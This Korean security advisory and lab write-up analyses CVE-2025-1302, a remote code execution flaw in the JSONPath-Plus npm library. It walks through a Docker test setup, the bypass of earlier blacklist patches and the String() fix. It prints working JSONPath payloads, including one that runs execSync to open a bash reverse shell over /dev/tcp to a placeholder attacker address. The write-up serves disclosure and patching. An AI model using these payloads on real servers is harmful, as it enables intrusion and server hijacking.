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Research & Technique 
    

 

JSONPath-Plus RCE 취약점(CVE-2025-1302) 
 

■ 서론 

JSONPath-Plus 는 오픈소스 라이브러리로 JSON 1 형식의 데이터에서 특정 값을 추출하는데 사용된다. 

npm2에서 JSONPath-Plus 를 조회한 결과, 2025 년 3 월 11 일 기준으로 kubernetes-client 등 860 

여개의 패키지에서 사용 중인 것을 확인할 수 있었다. 

 

 
출처: npmjs.com 

그림 1. JSONPath-Plus 사용 통계 

 

2025 년 2 월 15 일 JSONPath-Plus 에서 공개된 원격 코드 실행 취약점(CVE-2025-1302)은 이전 

2024 년 10 월, 공개된 Node.js 의 vm3  모듈의 sandbox4  탈출로 인한 원격 코드 실행 취약점 (CVE-

2024-21534)의 보안 패치 중 블랙리스트 기반 필터링이 우회되어 발생하였다. 우회로 인한 추가적인 

취약점이 공개된 만큼, 사용 중인 패키지가 취약한 버전의 JSONPath-Plus 를 사용하고 있는지 확인이 

필요하다. 

 
 

 

 
1 JSON(JavaScript Object Notation): 키-값 쌍으로 이루어진 데이터를 전달하기 위해 인간이 읽을 수 있는 텍스트를 사용하는 개방형 표준 포맷 
2 npm: GitHub 의 자회사인 npm Inc.에서 유지 관리하는 JavaScript 언어를 위한 패키지 관리자 
3 vm: 가상 머신 컨텍스트 내에서 JavaScript 코드를 컴파일 하고 실행하는 Node.js 의 기본 모듈 
4 sandbox: 실행 중인 프로그램을 분리하기 위한 매커니즘 
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■ 공격 시나리오 

 

그림 2. CVE-2025-1302 공격 시나리오 

 

① 공격자는 피해자 서버에 CVE-2025-1302 취약점을 활용한 원격 코드 실행 표현식 전송 

② 공격자는 획득한 피해자 서버의 쉘을 획득 

③ 공격자는 획득한 쉘을 활용해 피해자 서버에 암호화폐 채굴기 설치 

④ 공격자는 피해자의 서버 자원을 이용해 암호화폐 채굴 

 

■ 영향받는 소프트웨어 버전 

CVE-2025-1302 에 취약한 소프트웨어 버전은 다음과 같다. 
S/W 구분 취약 버전 

JSONPath-Plus < 10.3.0 

 
 

■ 테스트 환경 구성 정보 

테스트 환경을 구축해 CVE-2025-1302 의 동작 과정을 살펴본다. 
이름 정보 

피해자 
JSONPath-Plus v10.2.0 

(10.233.3.66) 

공격자 
Kali Linux 

(10.233.78.36) 
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■ 취약점 테스트 

Step 1. 환경 구성 

피해자 PC 에 취약한 버전의 JSONPath-Plus 를 사용하는 간단한 웹 서버를 구축한다. CVE-2025-1302 

취약점 테스트를 위한 파일들은 아래 EQSTLab 의 GitHub Repository 에서 확인할 수 있다. 

• URL: https://github.com/EQSTLab/CVE-2025-1302 
 

다음 명령어로 docker 이미지를 빌드한 뒤 실행한다. 

> git clone https://github.com/EQSTLab/CVE-2025-1302.git 

> cd CVE-2025-1302 

> docker build -t jsonpath:10.2.0 . 

> docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0 

 

원격 코드 실행 공격에 취약한 JSONPath-Plus 를 사용 중인 서버가 구축된 것을 확인할 수 있다. 

 
그림 3. 피해자 웹 페이지 

 

  

https://github.com/EQSTLab/CVE-2025-1302
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Step 2. 취약점 테스트 

취약한 서버의 검색 기능에 JSONPath 5 표현식을 삽입하여 공격 가능 여부를 확인할 수 있다. 그림 4 와 

같이 299 의 검색 결과와 JSON 데이터에서 최상위($)에 있는 299 의 값을 추출하는 JSON-Path 

표현식인 $.299 검색 결과가 동일하다. 

 

 
그림 4. 공격 가능 여부 확인 

 

공격자는 피해자 서버의 권한을 획득하기 위해 아래와 같이 악의적인 JSONPath 표현식을 사용한다. 

$..[?(EQST=''[['constructor']][['constructor']]("this.process.mainModule.require('child_process').

execSync(`bash –c ‘bash >& /dev/tcp/<공격자_IP>/<공격자_PORT> 0>&1’`)");EQST())] 

 

 
그림 5. 악의적인 JSONPath 표현식 

 

이후 공격자는 탈취한 쉘을 통해 피해자 서버에서 원격 코드를 실행할 수 있다. 

 
그림 6. 피해자 서버 쉘 탈취 

 
5 JSONPath: JSON 에서 데이터를 분석, 변환하고 선택적으로 추출하기 위한 언어 규칙 
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■ 취약점 상세 분석 

취약점 상세 분석에서는 취약점의 발생 원인, 패치 내용, 우회 방법을 설명한다. Step 1 에서는 CVE-2024-

21534 취약점의 발생 원인에 대해 분석하고 Step 2 에서는 주요 보안 패치에 대한 내용을 소개한다. Step 

3 에서는 이를 우회하는 CVE-2025-1302 취약점에 대해 다룬다. 

 

Step 1. CVE-2024-21534 분석 

2024 년 10 월 11 일 공개된 CVE-2024-21534 취약점은 JSONPath 표현식 내부에서 임의의 JavaScript 

코드를 실행해 발생됐다. 

 

1) JSONPath 표현식 처리 과정 

JSONPath-Plus 는 JSONPath 표현식을 해석하고, JSON 으로부터 해당 표현식의 결과에 맞는 값을 

추출한다. 전달받은 JSONPath 표현식은 JSONPath-Plus 내부에서 아래와 같은 과정에 따라 처리된다. 

 
그림 7. JSONPath 표현식 처리 순서 

 

(1) JSONPath 

JSONPath 함수의 용례는 다음과 같다. 

const result = JSONPath(  
    [options, ] // options : 아래 인수들을 객체로 한번에 전달할 때 사용 
    path, // path : JSONPath 표현식 
    json, // json : 표현식에 따라 추출할 JSON 객체 
    callback, // callback : 추출 결과를 처리하기 위한 callback 함수 
    otherTypeCallback // otherTypeCallback : JSON 스키마가 지원되지 않는 경우 사용 

 

위 용례에 따라 path 에는 JSONPath 표현식을, json 에는 추출할 JSON 데이터를 각각 할당해서 

JSONPath 함수에 전달한다. 

 
그림 8. JSONPath 표현식과 JSON 데이터 전달 
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전달받은 데이터 중 JSONPath 표현식인 path 는 args 를 통해 evaluate 함수로 전달된다. 

 
그림 9. evaluate 함수로 전달되는 args  

 

(2) evaluate 

evaluate 함수는 전달받은 표현식을 toPathArray 함수를 통해 배열 데이터로 변환하며, 이를 _trace 

함수로 전달한다. 

 
그림 10. evaluate 함수 내부의 표현식 처리 

 

(3) _trace 

_trace 함수에서는 JSON 데이터를 탐색하며 배열 데이터를 순차적으로 _eval 함수로 전달한다. 
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그림 11. _trace 함수 내부의 표현식 처리 

 

(4) _eval 

_eval 함수에서는 전달받은 데이터를 sandbox 내부에서 실행한다. 

 
그림 12. _eval 함수 내부의 표현식 처리 

 

이 때 safeVm 은 내장 vm 모듈을 불러와서 사용한다. 

 
그림 13. safeVm 선언 
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2) sandbox 탈출 

vm 은 sandbox 를 통해 독립된 환경에서 코드를 실행하지만, sandbox 탈출이 가능할 때에는 서버에 직접 

코드를 실행시킬 수 있다. sandbox 탈출 예시 코드는 다음과 같다. 

“EQST=this.constructor.constructor(\"process.mainModule.require('child_process').execSync('t
ouch /tmp/EQST.txt')\");EQST()” 

 

위 코드 중 this 는 Object 인 sandbox 를 의미하며, this.constructor 는 Object 의 생성자를 가리킨다. 

생성자는 Function 을 상속받기 때문에 this.constructor.constructor 는 Object.constructor 와 동일한 

Function 생성자로, 이를 통해 새로운 함수를 정의하거나 실행할 수 있다. 

 

예시 코드를 실행하여 sandbox 탈출 후 동작 중인 서버에 임의 파일을 생성할 수 있다. 

 
그림 14. sandbox 탈출 예시 코드 실행 결과 
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Step 2. CVE-2024-21534 보안 조치 

해당 취약점은 JSONPath-Plus 9.0.0 버전에서 처음 발생됐으며, 지속적인 보안 패치와 우회가 이뤄졌다. 

이 과정에서 총 9 번의 보안 패치가 진행됐고 주요 보안 조치는 아래 3 가지와 같다. 

 

1) 실행 방식 변경 

내장 vm 을 기존 사용하던 방식에서 안전한 vm 을 사용하도록 변경됐다. 표현식 실행 시에는 JSON 

데이터에 존재하는 키인지 검증하는 부분이 추가됐다. 

 
그림 15. CVE-2024-21534 주요 보안 패치 1 

 

해당 보안 패치는 sandbox 탈출을 막고 keyMap 에 정의되지 않은 속성에 접근하는 것을 방지한다. 이때 

keyMap 은 Object 를 상속받은 뒤, JSON 데이터가 포함된 context 객체의 속성을 복사해 정의된다. 

그러나 이 과정에서 keyMap 에 bind, apply, call 과 같은 Object 의 내장 함수가 포함돼 이를 이용해 

공격할 수 있었다. 

 

2) Object 내장 함수 제거 

이후 Object 의 내장 함수로 인한 우회를 막기 위해 keyMap 의 선언 방식을 변경했다. 

 
그림 16. CVE-2024-21534 주요 보안 패치 2 

 

prototype6이 없는 새로운 빈 객체를 생성한 뒤, context 객체의 속성을 복사하는 방식으로 keyMap 의 

선언 방식이 수정되었다. 이를 통해 keyMap 은 Object 의 내장 함수를 포함하지 않으므로 내장 함수를 통한 

우회가 불가능하다. 

 
6 prototype: JavaScript 내 특정 객체의 부모 역할을 하는 상위 객체 
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3) 필터링 추가 

공격에 악용될 수 있는 constructor, __proto__ 와 같은 문자열을 막기 위해 블랙리스트 기반 필터링이 

추가되었다. 

 
 그림 17. CVE-2024-21534 의 주요 보안 패치 3 

 

해당 패치를 마지막으로 CVE-2024-21534 취약점의 보안 패치가 모두 완료됐다. 

 

Step 3. CVE-2025-1302 공격 방법 

그러나 CVE-2024-21534 취약점의 보안 패치를 우회한 CVE-2025-1302 취약점이 공개되었다. 

 

블랙리스트를 검사하는 BLOCKED_PROTO_PROPERTIES.has(prop)에서 전달받은 데이터의 속성인 

prop 의 필터링을 수행한다. 

 
 그림 18. 필터링 로직 

CVE-2024-21534 취약점에 사용된 표현식은 다음과 같다. 

$[?(EQST=this.constructor.constructor("process.mainModule.require('child_process').execSync 

('[OS명령어]')");EQST())] 

 



 

EQST insight | 11 

위 표현식 삽입 시 prop 에는 속성의 이름인 constructor 가 저장된다. constructor 는 블랙리스트에 

포함되어 있기 때문에, CVE-2024-21534 에서 사용된 표현식은 BLOCKED_PROTO_PROPERTIES. 

has(prop)가 true 를 반환해 필터링된다. 

 

BLOCKED_PROTO_PROPERTIES.has(prop) 조건을 우회한 표현식은 다음과 같다. 

$..[?(EQST=''[['constructor']][['constructor']]("this.process.mainModule.require('child_process'). 

execSync(`OS 명령어`)");EQST())] 

 

위의 표현식 중 ''[['constructor']][['constructor']] 부분에서 prop 에는 속성의 이름인 [‘constructor’]가 

저장되며 배열 데이터로 인식한다. 

 

문자열 데이터로 이루어진 블랙리스트는 배열과 비교 시 false 를 반환해 필터링되지 않는다. 

 

위의 방법을 활용해 보안 패치를 우회한 표현식을 사용하면 원격 코드 실행이 가능하다. 

 
그림 19. CVE-2024-21534 보안 패치 우회 

 

 

 

 

 

 

 

 

 2024 표현식 2025 표현식 

우회 키워드 [ ].constructor.constructor 
' '[['constructor']][['constructor']] 

prop constructor ["constructor"] 

typeof(prop) string object 

BLOCKED_PROTO_PROPERTIES.has(prop) true false 
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■ 대응 방안  

2025 년 2 월 15 일 CVE-2025-1302 취약점에 대한 보안 패치가 공개됐고 내용은 다음과 같다. 

  

그림 20. CVE-2025-1302 보안 조치 내용 

 

CVE-2025-1302 취약점은 문자열이 아닌 다른 자료형을 가진 prop 에 대한 비정상적인 검증으로 인해 

BLOCKED_PROTO_PROPERTIES.has(prop)이 우회되었고, 이를 방지하기 위해 prop 의 정의 과정에서 

문자열 자료형을 반환하는 String() 함수를 사용하여 prop 이 항상 문자열로 지정되도록 조치하여 

BLOCKED_PROTO_PROPERTIES.has(prop)의 정상적인 검증이 이루어졌고 결과 값이 true 가 되어 

취약점 조치가 완료되었다. 

 

아래 표는 보안 패치를 적용하기 전후의 prop 의 정보다. 

 

취약한 버전의 JSONPath-Plus 를 사용 중일 경우, 원격 코드 실행 취약점이 존재하므로 패치가 적용된 

버전(v10.3.0)으로 업데이트를 진행해야 한다. 

 

 

 

 

 

 

 조치 전 조치 후 

prop [ 'constructor' ] 
constructor 

typeof(prop) object string 

BLOCKED_PROTO_PROPERTIES.has(prop) false true 
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